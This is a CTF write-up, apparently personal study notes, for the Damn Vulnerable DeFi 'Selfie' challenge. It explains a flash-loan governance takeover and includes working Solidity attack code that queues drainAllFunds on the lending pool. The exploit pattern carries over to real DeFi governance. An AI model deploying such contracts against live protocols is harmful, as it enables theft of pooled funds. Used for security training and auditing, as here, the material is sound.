Smart Contract Development
  • Introduction
    • What is a Transaction
    • Accounts and Signing
    • What is a smart contract
  • Learning Solidity
    • Introduction
    • Module 1
      • Variable Types
      • Variable Scope: State & Local variables
      • Global variables
      • Functions
        • View and Pure
        • Shadowing in Fuctions
      • Mapping
      • Require
      • Events
    • Project #1: Simple Registry
    • Module 2
      • Constructor
      • Data Location: Value & Reference
      • Interface
      • Import
        • Importing in Foundry
      • Inheritance
      • ERC-20
      • Checks-effect-interaction pattern
    • Project #2: Basic Vault
    • Module 3
      • Payable
      • Receive
      • Fallback
      • Returns
    • Project #3: ERC20+ETH Wrapper
    • Module 4
      • Immutable and Constant
      • Fixed-point Math
      • Abstract contracts
      • ERC-4626
      • Modifier + Inheritance +Ownable
      • Type
    • Project #4: Fractional Wrapper
    • Module 5
      • If-else
      • Libraries
        • TransferHelper
      • Chainlink Oracle
    • Project #5: Collateralized Vault
  • Compendium
    • Solidity Basics
      • Variable Types
      • Value Types
        • address
        • enum
      • Reference Types
        • strings
        • mappings
        • struct
        • Arrays
        • Multi-Dimensional arrays
      • Global Objects
      • Functions
        • Function types
        • Constructor Function
        • Transaction vs Call
        • Require, Revert, Assert
      • Function signature + selectors
      • Payable
        • Payable + withdraw
        • msg.value & payable functions
      • Receive
      • Fallback function (sol v 0.8)
        • Fallback function (sol v 0.6)
      • call, staticcall, delegatecall
    • Return & Events
    • Control Variable Visibility
    • Local Variables (Storage v Memory)
    • Data Location and Assignment Behaviors
    • Modifiers & Inheritance & Import
      • import styles
    • Interface & Abstract Contracts
    • ABI & Debugging
    • Libraries
    • Conditional(ternary) operators
    • Smart Contract Life-cycle
      • Pausing Smart Contracts
      • Destroying Smart Contracts
    • Merkle Trie and MPT
    • Merkle Tree Airdrop
  • Try & catch
  • Ethereum Signatures
  • EVM, Storage, Opcodes
    • EVM
    • Wei, Ether, Gas
    • Storage
    • ByteCode and Opcodes
    • Transaction costs & Execution costs
  • Reading txn input data
  • Data Representation
  • Yul
    • Yul
      • Intro
      • Basic operations
      • Storage Slots
      • Storage of Arrays and Mappings
      • Memory Operations
      • Memory: how solidity uses memory
      • Memory: Return, Require, Tuples and Keccak256
      • Memory: Logs and Events
      • Inter-contract calls
      • calldata
      • free memory pointer
    • Yul Exercises
      • read state variable
      • read mapping
      • iterate Array, Return Sum
    • memory-safe
  • Upgradable Contracts
    • Upgradability & Proxies
    • UUPS Example
    • Minimal Proxy Example
    • TPP Example
    • 🚧Diamond
      • On Storage
  • Gas Opt
    • Block Limit
    • gasLimit & min cost
    • Solidity Optimiser
    • Memory v calldata
    • Memory caching vs direct storage vs pointers
    • < vs <=
    • reverting early
    • X && Y, ||
    • constant and immutable
    • caching sload into mload
    • Syntactic Sugar
    • using unchecked w/o require
    • Compact Strings
    • Calling a view function
    • Custom errors over require
    • usage of this.
      • multiple address(this)
  • ERCs & EIPs
    • ERC-20.sol
      • Core functions
      • transfer()
      • transferFrom()
      • TLDR transfer vs transferFrom
    • Landing
      • ERC721.sol
      • EIP-721
        • LooksRare
        • Page 1
      • ERC-1271
      • EIP-2981
      • ERC-165
      • EIP-1167: Minimal Proxy Contract
    • VRFConsumerBase
    • UniswapV2Library
  • Yield Mentorship 2022
    • Projects
      • #1 Simple Registry
      • #2 Basic Vault
      • #3 ERC20+ETH Wrapper
        • setFailTransferTrue
      • #4 Fractional Wrapper
      • #5 Collateralized Vault
        • Process
        • Vault.sol
        • Testing
        • Chainlink Oracles
        • Pricing + Decimal scaling
        • Refactor for Simplicity
      • #9 Flash Loan Vault
        • Implementing ERC3156
        • Full code for lender
        • Ex-rate calculation
    • State Inheritance Testing
    • Testing w/ Mocks
    • Yield Style Guide
    • Github Actions
    • TransferHelper.sol
    • math logic + internal fn
    • Interfaces: IERC20
  • Foundry
    • Overview
    • Importing Contracts
    • Testing
      • stdError.arithmeticError
      • assume vs bound
      • Traces
      • label & console2
      • std-storage
  • Smart Contract Security
    • Damn Vulnerable Defi
      • 1. Unstoppable
      • 2. Naive receiver
      • 3. Truster
      • 4. Side Entrance
      • 5. The Rewarder
      • 6. Selfie
      • 7. Compromised
      • 8. Puppet
      • 9. Puppet V2
      • 10 - Free Rider
    • Merkle Tree: shortened proof attack
  • Fixed-Point Math
    • AMM Math
  • Solidity Patterns
    • checks-effects-interactions pattern
    • Router // batch
    • claimDelegate: stack unique owners
    • claimDelegate: cache previous user
  • Array: dup/ascending check
  • Deployment
    • Behind the Scenes
    • Interacting with External Contracts
    • Logging, Events, Solidity, Bloom Filter
  • Misc
    • Mnemonic Phrases
    • Bidul Ideas
  • Archive
    • Brownie Framework
      • Brownie basics
        • storing wallets in .env
        • Deployment to ganache
        • Interacting with contract
        • Unit Testing
        • Testnet deployment
        • Interacting w/ deployed contract
        • Brownie console
      • Brownie Advanced
        • Dependencies: import contracts
        • helpful_scripts.py
        • verify and publish
        • Forking and Mocking
        • Mocking
        • Forking
      • Testing
      • Scripts Framework
        • deploy.py
        • get_accounts
        • deploy_mocks()
        • fund_with_<token>()
      • Brownie Networks
    • Brownie Projects
      • SharedWallet
        • Multiple Beneficiaries
        • Common Code Contract
        • Adding Events
        • Renounce Ownership
        • Separate Files
      • Supply Chain
        • ItemManager()
        • Adding Events
        • Adding unique address to each item
      • Lottery
      • Aave - Lending and Borrowing
        • Approve & Deposit
        • Borrow
      • NFT
      • Advanced Collectible
        • adv_deploy() + Testing
        • Create Metadata
        • Setting the TokenURI
    • node npm
    • Ganache
    • Truffle
    • Remix
    • Installing Env
Powered by GitBook
On this page
  • Objective
  • Approach
  • Solution
  • Solution Code
  1. Smart Contract Security
  2. Damn Vulnerable Defi

6. Selfie

https://www.damnvulnerabledefi.xyz/challenges/selfie/

Previous5. The RewarderNext7. Compromised

Last updated 2 years ago

Objective

  • A lending pool offering flash loans of DVT tokens.

  • Includes a fancy governance mechanism to control it.

  • You start with no DVT tokens in balance, and the pool has 1.5 million.

  • Your goal is to take them all.

Approach

SelfiePool has a drainAllFunds function that can only be called by the SimpleGovernance contract.

Let us examine if we can subvert the governance contract for our purposes.

SimpleGovernance

Governance is based on the DVT token:

Voting power is based on the proportion of number of tokens held against half of total supply

This means that if msg.caller has sufficient DVT tokens such that its balance > halfTotalSupply, msg.caller has sufficient voting power and therefore can queue a governance action successfully.

Solution

  1. Attacker to take the largest flash loan from SelfiePool possible,

  2. Using voting power from flash loan to pass a governance action via SimpleGovernance using queueAction and executeAction

    1. call drainAllFunds with beneficiary as attacker address

queueAction and executeAction

queueAction takes in an address, calldata, and weiAmount as parameters. These fields are stored in a struct

  • address: target contract address to take action on ("receiver")

  • calldata: abi encoded function signature:

bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)", address(this), type(uint256).max
        );
(bool success, bytes memory data) = target.call{value: 111, gas: 5000}(data)ol
  • weiAmount: this is the value field for target.call{value: value}(data)

    • basically how much ether to send over

executeAction

  • external, payable

  • Anyone can call executeAction, passing an actionId

  • only constraints are:

    • action has not been executed yet

      • actionToExecute.executedAt == 0

    • action is ready to be executed (delay has been exceeded)

      • (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)

The core of executeAction is

actionToExecute.receiver.functionCallWithValue(actionToExecute.data, actionToExecute.weiAmount);
  • functionCallWithValue is from OpenZepplin's Address library:

Fundamentally, it is a low-level call, where value is the weiAmount and data is the data we passed earlier in queueAction as parameters.

Solution Code

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {SimpleGovernance} from "./SimpleGovernance.sol";
import {SelfiePool} from "./SelfiePool.sol";
import {DamnValuableTokenSnapshot} from "./../DamnValuableTokenSnapshot.sol";

contract Attack {
    address owner;
    SelfiePool public selfiePool;
    SimpleGovernance public governance;
    uint256 public drainActionId;

    constructor(SelfiePool selfiePool_, SimpleGovernance governance_) {
        owner = msg.sender;
        selfiePool = selfiePool_;
        governance = governance_;
    }

    ///@notice Take loan from pool
    function borrow(uint256 amount) external {
        require(msg.sender == owner, "only owner");
        selfiePool.flashLoan(amount);
    }

    ///@notice Flashloan callback function
    function receiveTokens(address token, uint256 amount) external {
        require(msg.sender == address(selfiePool), "only pool");

        DamnValuableTokenSnapshot(token).snapshot();

        bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(owner));
        drainActionId = governance.queueAction(address(selfiePool), data, 0);

        // transfer back funds
        DamnValuableTokenSnapshot(token).transfer(address(selfiePool), amount);
    }
}
  1. Initiate flashloan with borrow()

  2. selfiePool contract will callback receivetokens; this will lead to execution of the attack.

    1. queueAction: drainAllfunds

    2. return borrowed tokens

  3. executeAction can be called by anyone after the defined delay has passed. Therefore we do not need to execute this via contract.

  4. DamnValuableTokenSnapshot(token).snapshot();
    1. this is needed because queueAction calls _hasEnoughVoteswhich calculates addresses balances based on snapshots.

Note

The attack component must be shoeboxed into the callback function instead of the initial borrow function.

Execution of flashloan() only completes after the tokens are returned. This means that the following will not work:

    function borrow(uint256 amount) external {
        require(msg.sender == owner, "only owner");
        selfiePool.flashLoan(amount);

        bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(owner));
        drainActionId = governance.queueAction(address(selfiePool), data, 0);

    }

Since the flashloan will be settled before the attack code is executed -> without the benefit of borrowed tokens.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol